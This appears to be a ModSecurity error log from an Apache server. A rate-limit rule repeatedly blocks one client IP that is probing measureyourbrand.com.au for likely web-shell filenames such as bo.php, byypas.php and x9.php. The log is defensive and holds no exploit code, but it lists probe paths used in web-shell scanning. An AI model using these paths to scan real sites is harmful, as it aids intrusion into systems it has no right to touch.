[Sat Apr 11 09:40:20.418444 2026] [:error] [pid 22756:tid 22767] [client 72.146.3.145:55235] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "admmhGfoSJ40LEm6kfq-JwAAAAk"]
[Sat Apr 11 09:40:20.902018 2026] [:error] [pid 25460:tid 25476] [client 72.146.3.145:55289] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "admmhJ4qILXFw3ifO2tx3wAAAE4"]
[Sat Apr 11 09:40:21.430850 2026] [:error] [pid 25460:tid 25466] [client 72.146.3.145:51195] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "admmhZ4qILXFw3ifO2tx5AAAAEQ"]
[Sat Apr 11 09:40:22.078657 2026] [:error] [pid 25460:tid 25480] [client 72.146.3.145:22553] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "admmhp4qILXFw3ifO2tx6AAAAFI"]
[Sat Apr 11 09:40:22.563349 2026] [:error] [pid 25460:tid 25472] [client 72.146.3.145:38861] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "admmhp4qILXFw3ifO2tx7QAAAEo"]
[Sat Apr 11 09:40:23.055705 2026] [:error] [pid 22756:tid 22772] [client 72.146.3.145:51912] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "admmh2foSJ40LEm6kfq-LQAAAA4"]
[Sat Apr 11 09:40:23.553659 2026] [:error] [pid 25460:tid 25486] [client 72.146.3.145:38489] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "admmh54qILXFw3ifO2tx9gAAAFg"]
[Sat Apr 11 09:40:24.176753 2026] [:error] [pid 25460:tid 25473] [client 72.146.3.145:63202] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "admmiJ4qILXFw3ifO2tx_wAAAEs"]
[Sat Apr 11 09:40:24.686558 2026] [:error] [pid 22663:tid 22691] [client 72.146.3.145:38858] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "admmiI1p7ez17BT2hZYOrAAAARc"]
[Sat Apr 11 09:40:25.254506 2026] [:error] [pid 25460:tid 25480] [client 72.146.3.145:32033] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "admmiZ4qILXFw3ifO2tyDQAAAFI"]
[Sat Apr 11 09:40:25.844386 2026] [:error] [pid 22665:tid 22744] [client 72.146.3.145:38909] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "admmiUgi15J0QUr6OrPp-gAAAZQ"]
[Sat Apr 11 09:40:26.572336 2026] [:error] [pid 22756:tid 22771] [client 72.146.3.145:21386] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "admmimfoSJ40LEm6kfq-MgAAAA0"]
[Sat Apr 11 09:40:27.188765 2026] [:error] [pid 22756:tid 22767] [client 72.146.3.145:21433] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "admmi2foSJ40LEm6kfq-NgAAAAk"]
[Sat Apr 11 09:40:27.963026 2026] [:error] [pid 22756:tid 22760] [client 72.146.3.145:33770] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "admmi2foSJ40LEm6kfq-OQAAAAI"]
[Sat Apr 11 09:40:28.543716 2026] [:error] [pid 22756:tid 22765] [client 72.146.3.145:21388] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "admmjGfoSJ40LEm6kfq-OwAAAAc"]
[Sat Apr 11 09:40:29.110368 2026] [:error] [pid 25460:tid 25471] [client 72.146.3.145:38523] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "admmjZ4qILXFw3ifO2tyFwAAAEk"]
[Sat Apr 11 09:40:29.738221 2026] [:error] [pid 22664:tid 22699] [client 72.146.3.145:32025] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "admmjQRS_OPFpcXOZmWPAgAAAUI"]
[Sat Apr 11 09:40:30.545928 2026] [:error] [pid 22756:tid 22766] [client 72.146.3.145:43103] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "admmjmfoSJ40LEm6kfq-QwAAAAg"]
[Sat Apr 11 09:40:31.409714 2026] [:error] [pid 22665:tid 22733] [client 72.146.3.145:22563] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "admmj0gi15J0QUr6OrPqDgAAAYk"]
[Sat Apr 11 09:40:31.949100 2026] [:error] [pid 22664:tid 22699] [client 72.146.3.145:31532] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "admmjwRS_OPFpcXOZmWPDgAAAUI"]
[Sat Apr 11 09:40:32.426759 2026] [:error] [pid 22756:tid 22763] [client 72.146.3.145:48632] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "admmkGfoSJ40LEm6kfq-RQAAAAU"]
[Sat Apr 11 09:40:32.911296 2026] [:error] [pid 22756:tid 22772] [client 72.146.3.145:35145] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "admmkGfoSJ40LEm6kfq-SAAAAA4"]
[Sat Apr 11 09:40:33.572155 2026] [:error] [pid 22665:tid 22738] [client 72.146.3.145:43132] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "admmkUgi15J0QUr6OrPqGQAAAY4"]
[Sat Apr 11 09:40:34.088812 2026] [:error] [pid 22756:tid 22782] [client 72.146.3.145:28083] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "admmkmfoSJ40LEm6kfq-UAAAABg"]
[Sat Apr 11 09:40:35.299681 2026] [:error] [pid 22663:tid 22672] [client 72.146.3.145:28039] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "admmk41p7ez17BT2hZYOuAAAAQQ"]
[Sat Apr 11 09:40:35.909793 2026] [:error] [pid 25460:tid 25474] [client 72.146.3.145:51946] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "admmk54qILXFw3ifO2tyJQAAAEw"]
[Sat Apr 11 09:40:36.377626 2026] [:error] [pid 22663:tid 22682] [client 72.146.3.145:38478] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "admmlI1p7ez17BT2hZYOuwAAAQ4"]
[Sat Apr 11 09:40:36.847897 2026] [:error] [pid 25460:tid 25462] [client 72.146.3.145:33743] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "admmlJ4qILXFw3ifO2tyKgAAAEA"]
[Sat Apr 11 09:40:37.339178 2026] [:error] [pid 22663:tid 22680] [client 72.146.3.145:48624] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "admmlY1p7ez17BT2hZYOvQAAAQw"]
[Sat Apr 11 09:40:37.831092 2026] [:error] [pid 25460:tid 25466] [client 72.146.3.145:35785] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "admmlZ4qILXFw3ifO2tyMQAAAEQ"]
[Sat Apr 11 09:40:38.334386 2026] [:error] [pid 25460:tid 25478] [client 72.146.3.145:53655] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "admmlp4qILXFw3ifO2tyNQAAAFA"]
[Sat Apr 11 09:40:38.849019 2026] [:error] [pid 22663:tid 22673] [client 72.146.3.145:53678] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "admmlo1p7ez17BT2hZYOxAAAAQU"]
[Sat Apr 11 09:40:39.354963 2026] [:error] [pid 22663:tid 22671] [client 72.146.3.145:33758] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "admml41p7ez17BT2hZYOxwAAAQM"]
[Sat Apr 11 09:40:39.881233 2026] [:error] [pid 25460:tid 25467] [client 72.146.3.145:4612] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "admml54qILXFw3ifO2tyQAAAAEU"]
[Sat Apr 11 09:40:40.379608 2026] [:error] [pid 22663:tid 22672] [client 72.146.3.145:51146] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "admmmI1p7ez17BT2hZYOygAAAQQ"]
[Sat Apr 11 09:40:40.938851 2026] [:error] [pid 25460:tid 25473] [client 72.146.3.145:38515] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "admmmJ4qILXFw3ifO2tySgAAAEs"]
[Sat Apr 11 09:40:41.508269 2026] [:error] [pid 25460:tid 25484] [client 72.146.3.145:32041] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "admmmZ4qILXFw3ifO2tyTQAAAFY"]
[Sat Apr 11 09:40:42.178386 2026] [:error] [pid 25460:tid 25466] [client 72.146.3.145:63708] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "admmmp4qILXFw3ifO2tyUwAAAEQ"]
[Sat Apr 11 09:40:42.678937 2026] [:error] [pid 25460:tid 25473] [client 72.146.3.145:45648] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "admmmp4qILXFw3ifO2tyVwAAAEs"]
[Sat Apr 11 09:40:43.822674 2026] [:error] [pid 25460:tid 25469] [client 72.146.3.145:32003] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "admmm54qILXFw3ifO2tyYQAAAEc"]
[Sat Apr 11 09:40:44.503221 2026] [:error] [pid 22663:tid 22682] [client 72.146.3.145:35143] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "admmnI1p7ez17BT2hZYO1gAAAQ4"]
[Sat Apr 11 09:40:52.322176 2026] [:error] [pid 25460:tid 25482] [client 72.146.3.145:33776] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewe.php"] [unique_id "admmpJ4qILXFw3ifO2typgAAAFQ"]
[Sat Apr 11 09:40:52.785538 2026] [:error] [pid 25460:tid 25465] [client 72.146.3.145:35799] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewe.php"] [unique_id "admmpJ4qILXFw3ifO2tyrAAAAEM"]
[Sat Apr 11 09:40:53.260069 2026] [:error] [pid 22756:tid 22768] [client 72.146.3.145:18997] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewe.php"] [unique_id "admmpWfoSJ40LEm6kfq-gwAAAAo"]
[Sat Apr 11 09:40:53.726109 2026] [:error] [pid 22756:tid 22759] [client 72.146.3.145:51169] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewe.php"] [unique_id "admmpWfoSJ40LEm6kfq-hQAAAAE"]
[Sat Apr 11 09:40:54.201691 2026] [:error] [pid 22664:tid 22719] [client 72.146.3.145:18535] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "admmpgRS_OPFpcXOZmWPIgAAAVY"]
[Sat Apr 11 09:40:54.665865 2026] [:error] [pid 22665:tid 22743] [client 72.146.3.145:33741] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "admmpkgi15J0QUr6OrPqRwAAAZM"]
[Sat Apr 11 09:40:55.145292 2026] [:error] [pid 22663:tid 22675] [client 72.146.3.145:51190] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "admmp41p7ez17BT2hZYO_wAAAQc"]
[Sat Apr 11 09:40:55.605355 2026] [:error] [pid 22665:tid 22726] [client 72.146.3.145:51176] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "admmp0gi15J0QUr6OrPqSwAAAYI"]
[Sat Apr 11 09:40:56.267151 2026] [:error] [pid 22756:tid 22775] [client 72.146.3.145:28769] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x9.php"] [unique_id "admmqGfoSJ40LEm6kfq-jgAAABE"]
[Sat Apr 11 09:40:56.763351 2026] [:error] [pid 22663:tid 22690] [client 72.146.3.145:18990] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x9.php"] [unique_id "admmqI1p7ez17BT2hZYPAwAAARY"]
[Sat Apr 11 09:40:57.295032 2026] [:error] [pid 22663:tid 22680] [client 72.146.3.145:35788] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x9.php"] [unique_id "admmqY1p7ez17BT2hZYPBAAAAQw"]
[Sat Apr 11 09:40:57.786647 2026] [:error] [pid 22664:tid 22710] [client 72.146.3.145:55273] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x9.php"] [unique_id "admmqQRS_OPFpcXOZmWPNAAAAU0"]
[Sat Apr 11 09:40:58.258023 2026] [:error] [pid 22664:tid 22697] [client 72.146.3.145:38892] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "admmqgRS_OPFpcXOZmWPNgAAAUA"]
[Sat Apr 11 09:40:59.086715 2026] [:error] [pid 22665:tid 22740] [client 72.146.3.145:63213] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "admmq0gi15J0QUr6OrPqVgAAAZA"]
[Sat Apr 11 09:40:59.592800 2026] [:error] [pid 22756:tid 22775] [client 72.146.3.145:32026] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "admmq2foSJ40LEm6kfq-mwAAABE"]
